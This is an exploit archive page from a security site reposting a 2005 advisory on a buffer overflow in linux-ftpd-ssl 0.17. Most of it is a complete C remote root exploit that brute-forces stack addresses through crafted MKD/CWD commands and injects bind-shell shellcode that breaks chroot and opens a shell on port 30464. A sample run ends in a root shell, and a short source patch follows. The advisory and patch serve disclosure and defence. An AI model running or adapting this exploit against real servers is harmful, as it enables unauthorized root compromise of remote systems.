首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux ftpd SSL Buffer Overflow
来源:kingcope@gmx.net 作者:kcope 发布时间:2005-11-08  

Linux ftpd SSL Buffer Overflow (Exploit)

Summary
linux-ftdp-ssl is "the netkit FTP server with encryption support. ftpd-ssl replaces normal ftpd using SSL authentication and encryption. It operates together with normal ftp. It checks if the other side is also talking SSL, if not it falls back to normal FTP protocol. Advantages over normal ftp(d) are that your passwords and the data you send will not go in cleartext over the line, and nobody can get it with tcpdump or similar tools".

The following exploit code will overflow an internal buffer used by Linux ftpd's SSL support and open a shell on the remote host.

Credit:
The information has been provided by kcope.
The patch has been provided by James Longstreet.

Details
Vulnerable Systems:
* linux-ftpd-ssl version 0.17

Exploit:
/*Oct2005 VER2*/
/**********************************************************/
/** lnxFTPDssl_warez.c **/
/** linux-ftpd-ssl 0.17 remote r00t exploit by kcope **/
/** for all of those who installed the ssl ready version **/
/** of linux-ftpd to be more "secure" **/
/** **/
/** be aware of the buffer overflows, **/
/** the code is strong cryto **/
/**********************************************************/
/** thanx blackzero,revoguard,wY!,net_spy **/
/** Confidential. Keep Private! **/
/**********************************************************/
/**
C:\Dokumente und Einstellungen\Administrator\Desktop>telnet 192.168.2.9 21
220 localhost.localdomain FTP server (Version 6.4/OpenBSD/Linux-ftpd-0.17) ready.
AUTH SSL
234 AUTH SSL OK.
;PpPpPPpPPPpPPPPpPppPPPPPpPpPPPpPPpPpPPpPPPpPPPPpPpp
C:\Dokumente und Einstellungen\Administrator\Desktop>lnxFTPDssl_warez.exe 192.168.2.9 kcope password
lnxFTPDssl_warez.c
linux-ftpd-ssl 0.17 remote r00t exploit by kcope

connecting to 192.168.2.9:21... ok.
OK - STARTING ATTACK
+++ USING STACK ADDRESS 0xbfffcc03 +++
+++ USING STACK ADDRESS 0xbfffcc13 +++
+++ USING STACK ADDRESS 0xbfffcc23 +++
+++ USING STACK ADDRESS 0xbfffcc33 +++
+++ USING STACK ADDRESS 0xbfffcc43 +++
+++ USING STACK ADDRESS 0xbfffcc53 +++
+++ USING STACK ADDRESS 0xbfffcc63 +++
+++ USING STACK ADDRESS 0xbfffcc73 +++
+++ USING STACK ADDRESS 0xbfffcc83 +++
+++ USING STACK ADDRESS 0xbfffcc93 +++
+++ USING STACK ADDRESS 0xbfffcca3 +++
+++ USING STACK ADDRESS 0xbfffccb3 +++
+++ USING STACK ADDRESS 0xbfffccc3 +++
+++ USING STACK ADDRESS 0xbfffccd3 +++
+++ USING STACK ADDRESS 0xbfffcce3 +++
+++ USING STACK ADDRESS 0xbfffccf3 +++
+++ USING STACK ADDRESS 0xbfffcd03 +++
+++ USING STACK ADDRESS 0xbfffcd13 +++
+++ USING STACK ADDRESS 0xbfffcd23 +++
+++ USING STACK ADDRESS 0xbfffcd33 +++
+++ USING STACK ADDRESS 0xbfffcd43 +++
+++ USING STACK ADDRESS 0xbfffcd53 +++
+++ USING STACK ADDRESS 0xbfffcd63 +++
+++ USING STACK ADDRESS 0xbfffcd73 +++
+++ USING STACK ADDRESS 0xbfffcd83 +++
+++ USING STACK ADDRESS 0xbfffcd93 +++
+++ USING STACK ADDRESS 0xbfffcda3 +++
+++ USING STACK ADDRESS 0xbfffcdb3 +++
+++ USING STACK ADDRESS 0xbfffcdc3 +++
+++ USING STACK ADDRESS 0xbfffcdd3 +++
+++ USING STACK ADDRESS 0xbfffcde3 +++
+++ USING STACK ADDRESS 0xbfffcdf3 +++
+++ USING STACK ADDRESS 0xbfffce03 +++
+++ USING STACK ADDRESS 0xbfffce13 +++
+++ USING STACK ADDRESS 0xbfffce23 +++
+++ USING STACK ADDRESS 0xbfffce33 +++
+++ USING STACK ADDRESS 0xbfffce43 +++
+++ USING STACK ADDRESS 0xbfffce53 +++
+++ USING STACK ADDRESS 0xbfffce63 +++
+++ USING STACK ADDRESS 0xbfffce73 +++
+++ USING STACK ADDRESS 0xbfffce83 +++
+++ USING STACK ADDRESS 0xbfffce93 +++
+++ USING STACK ADDRESS 0xbfffcea3 +++
+++ USING STACK ADDRESS 0xbfffceb3 +++
+++ USING STACK ADDRESS 0xbfffcec3 +++

Let's get ready to rumble!
id
uid=0(root) gid=0(root) egid=1000(kcope) groups=1000(kcope),20(dialout),24(cdrom
),25(floppy),29(audio),44(video),46(plugdev)
uname -a
Linux debian 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux

**/
// Tested on Linux 2.4.18-14 Redhat 8.0
// Linux 2.2.20-idepci Debian GNU 3.0
// Linux 2.4.27-2-386 Debian GNU 3.1
// CHECK VER3 FOR MORE SUPPORT!!!
// ***KEEP IT ULTRA PRIV8***

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <unistd.h>
#include <netdb.h>
#include <errno.h>

#define BUF_SIZ 4096
#define PORT 21
#define BINDPORT 30464
#define STACK_START 0xbfffcc03
#define STACK_END 0xbffff4f0

/*my shellcode*/
/*setreuid,chroot break,
bind to port 30464, 0xff is double*/
unsigned char lnx_bind[] =
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x70\x31\xC0\x31\xDB\x31\xC9"
"\xB0\x46\xCD\x80\x5E\x90\xB8\xBE"
"\xff\xff\xff\xff\xff\xff\xF7\xD0"
"\x89\x06\xB0\x27\x8D\x1E\xFE\xC5"
"\xB1\xED\xCD\x80\x31\xC0\x8D\x1E"
"\xB0\x3D\xCD\x80\x66\xB9\xff\xff"
"\x03\xBB\xD2\xD1\xD0\xff\xff\xF7"
"\xDB\x89\x1E\x8D\x1E\xB0\x0C\xCD"
"\x80\xE2\xEF\xB8\xD1\xff\xff\xff"
"\xff\xff\xff\xF7\xD0\x89\x06\xB0"
"\x3D\x8D\x1E\xCD\x80\x31\xC0\x31"
"\xDB\x89\xF1\xB0\x02\x89\x06\xB0"
"\x01\x89\x46\x04\xB0\x06\x89\x46"
"\x08\xB0\x66\x43\xCD\x80\x89\xF1"
"\x89\x06\xB0\x02\x66\x89\x46\x0C"
"\xEB\x04\xEB\x74\xEB\x77\xB0\x77"
"\x66\x89\x46\x0E\x8D\x46\x0C\x89"
"\x46\x04\x31\xC0\x89\x46\x10\xB0"
"\x10\x89\x46\x08\xB0\x66\x43\xCD"
"\x80\xB0\x01\x89\x46\x04\xB0\x66"
"\xB3\x04\xCD\x80\x31\xC0\x89\x46"
"\x04\x89\x46\x08\xB0\x66\xB3\x05"
"\xCD\x80\x88\xC3\xB0\x3F\x31\xC9"
"\xCD\x80\xB0\x3F\xB1\x01\xCD\x80"
"\xB0\x3F\xB1\x02\xCD\x80\xB8\xD0"
"\x9D\x96\x91\xF7\xD0\x89\x06\xB8"
"\xD0\x8C\x97\xD0\xF7\xD0\x89\x46"
"\x04\x31\xC0\x88\x46\x07\x89\x76"
"\x08\x89\x46\x0C\xB0\x0B\x89\xF3"
"\x8D\x4E\x08\x8D\x56\x0C\xCD\x80"
"\xE8\x15\xff\xff\xff\xff\xff\xff";

long ficken() {
printf("lnxFTPDssl_warez.c\nlinux-ftpd-ssl 0.17 remote r00t exploit by kcope\n\n");
return 0xc0debabe;
}

void usage(char **argv) {
printf("Insufficient parameters given.\n");
printf("Usage: %s <remotehost> <user> <pass> [writeable directory]\n", argv[0]);
exit(0);
}

void _recv(int sock, char *buf) {
int bytes=recv(sock, buf, BUFSIZ, 0);
if (bytes < 0) {
perror("read() failed");
exit(1);
}
}

void attack(int sock, unsigned long ret, char *pad) {
int i,k;
char *x=(char*)malloc(1024);
char *bufm=(char*)malloc(1024);
char *bufc=(char*)malloc(1024);
char *rbuf=(char*)malloc(BUFSIZ+10);
char *nops=(char*)malloc(1024);
unsigned char a,b,c,d;

memset(nops,0,1024);
memset(nops,0x90,255);
memset(x,0,1024);
for (i=0,k=0;i<60;i++) {
a=(ret >> 24) & 0xff;
b=(ret >> 16) & 0xff;
c=(ret >> 8) & 0xff;
d=(ret) & 0xff;

if (d==255) {
x[k]=d;
x[++k]=255;
} else {
x[k]=d;
}

if (c==255) {
x[k+1]=c;
x[++k+1]=255;
} else {
x[k+1]=c;
}

if (b==255) {
x[k+2]=b;
x[++k+2]=255;
} else {
x[k+2]=b;
}

if (a==255) {
x[k+3]=a;
x[++k+3]=255;
} else {
x[k+3]=a;
}

k+=4;
}

snprintf(bufm, 1000, "MKD %s%s\r\n", pad, x); // 1x'A' redhat 8.0 / 2x'A' debian gnu 3.0 / 3x'A' debian gnu 3.1
snprintf(bufc, 1000, "CWD %s%s\r\n", pad, x);
for (i=0; i<11; i++) {
send(sock, bufm, strlen(bufm), 0);
recv(sock, rbuf, BUFSIZ, 0);
send(sock, bufc, strlen(bufc), 0);
recv(sock, rbuf, BUFSIZ, 0);
}

for (i=0; i<2; i++) {
snprintf(bufm, 1000, "MKD %s\r\n", lnx_bind);
snprintf(bufc, 1000, "CWD %s\r\n", lnx_bind);
send(sock, bufm, strlen(bufm), 0);
recv(sock, rbuf, BUFSIZ, 0);
send(sock, bufc, strlen(bufc), 0);
recv(sock, rbuf, BUFSIZ, 0);

snprintf(bufm, 1000, "MKD %s\r\n", nops);
snprintf(bufc, 1000, "CWD %s\r\n", nops);
send(sock, bufm, strlen(bufm), 0);
recv(sock, rbuf, BUFSIZ, 0);
send(sock, bufc, strlen(bufc), 0);
recv(sock, rbuf, BUFSIZ, 0);
}

send(sock, "XPWD\r\n", strlen("XPWD\r\n"), 0);

free(bufm);
free(bufc);
free(x);
free(rbuf);
}

int do_remote_shell(int sockfd)
{
while(1)
{
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sockfd,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))
{
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds))
{
if((cnt=read(0,buf,1024))<1)
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(sockfd,buf,cnt);
}
if(FD_ISSET(sockfd,&fds))
{
if((cnt=read(sockfd,buf,1024))<1)
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(1,buf,cnt);
}
}
}
}

int do_connect (char *remotehost, int port) {
struct hostent *host;
struct sockaddr_in addr;
int s;

if (!inet_aton(remotehost, &addr.sin_addr))
{
host = gethostbyname(remotehost);
if (!host)
{
perror("gethostbyname() failed");
return -1;
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
}

s = socket(PF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return -1;
}

addr.sin_port = htons(port);
addr.sin_family = AF_INET;

if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
{
if (port == PORT) perror("connect() failed");
return -1;
}

return s;
}

void do_login(int s, char *buf, char *sendbuf, char *user, char *pass) {
memset(buf, 0, sizeof(buf));
memset(sendbuf, 0, sizeof(sendbuf));
do {
_recv(s, buf);
} while (strstr(buf, "220 ") == NULL);
snprintf(sendbuf, BUFSIZ, "USER %s\r\n", user);
send(s, sendbuf, strlen(sendbuf), 0);
do {
_recv(s, buf);
} while (strstr(buf, "331 ") == NULL);

snprintf(sendbuf, BUFSIZ, "PASS %s\r\n", pass);
send(s, sendbuf, strlen(sendbuf), 0);
do {
_recv(s, buf);
} while (strstr(buf, "230 ") == NULL);
}

int main(int argc, char **argv) {
char remotehost[255];
char user[255];
char pass[255];
char pad[10];
char *buf,*sendbuf;
int stackaddr=STACK_START;
int s,sr00t,i;

ficken();
if (argc < 4)
usage(argv);

strncpy(remotehost, argv[1], sizeof(remotehost));
remotehost[sizeof(remotehost)-1]=0;
strncpy(user, argv[2], sizeof(user));
user[sizeof(user)-1]=0;
strncpy(pass, argv[3], sizeof(pass));
pass[sizeof(pass)-1]=0;

printf("connecting to %s:%d...", remotehost, PORT);
fflush(stdout);

s=do_connect(remotehost, PORT);

puts(" ok.");
buf=(char*)malloc(BUFSIZ+10);
sendbuf=(char*)malloc(BUFSIZ+10);
do_login(s, buf, sendbuf, user, pass);

if (strstr(buf, "230")!=NULL) {
printf("OK - STARTING ATTACK\n");
i=0;
while (stackaddr <= STACK_END) {
printf("+++ USING STACK ADDRESS 0x%.08x +++\n", stackaddr);

sleep(1);

if (i==1) {
strcpy(pad, "A");
}

if (i==2) {
strcpy(pad, "AA");
}

if (i==3) {
strcpy(pad, "AAA");
i=0;
}

attack(s, stackaddr, pad);
close(s);
s=do_connect(remotehost, PORT);
do_login(s, buf, sendbuf, user, pass);

if (argv[4] != NULL) {
snprintf(sendbuf, BUFSIZ, "CWD %s\r\n", argv[4]);
send(s, sendbuf, strlen(sendbuf), 0);
recv(s, buf, BUFSIZ, 0);
}

if((sr00t=do_connect(remotehost, BINDPORT)) > 0) {
/* XXX Remote r00t */
printf("\nLet's get ready to rumble!\n");
do_remote_shell(sr00t);
exit(0);
}

stackaddr+=16;
i++;
}
} else {
printf("\nLogin incorrect\n");
exit(1);
}

free(buf);
free(sendbuf);
return 0;
}

Patch: (provided by James Longstreet)
--- linux-ftpd-0.17/ftpd/ftpd.c 2005-11-05 17:04:53.000000000 -0600
+++ linux-ftpd-0.17-patched/ftpd/ftpd.c 2005-11-05
17:11:54.000000000 -0600
@@ -2082,9 +2082,9 @@
va_start(ap);
#endif
#ifdef USE_SSL
- /* assemble the output into a buffer */
+ /* assemble the output into a buffer, checking for length*/
sprintf(outputbuf,"%d ",n);
- vsprintf(outputbuf+strlen(outputbuf),fmt,ap);
+ vsnprintf(outputbuf+strlen(outputbuf),2048-(strlen(outputbuf) + 3),fmt,ap);
strcat(outputbuf,"\r\n");
if (ssl_debug_flag)



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Snort Back Orifice Pre-process
·F-Secure Anti-Virus and Intern
·Net Portal Dynamic System Deni
·SuSE Linux pwdutils chfn Utili
·Snort Back Orifice Pre-process
·Snort <= 2.4.2 Back Orifice
·Microsoft Windows Plug and Pla
·WF-Downloads Module for XOOPS
·iGENUS WebMail <= 2.0.2 rem
·Windows 2000 Server UPNP DoS
·Local privilege escalation exp
·PHP-Nuke Search Module query P
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved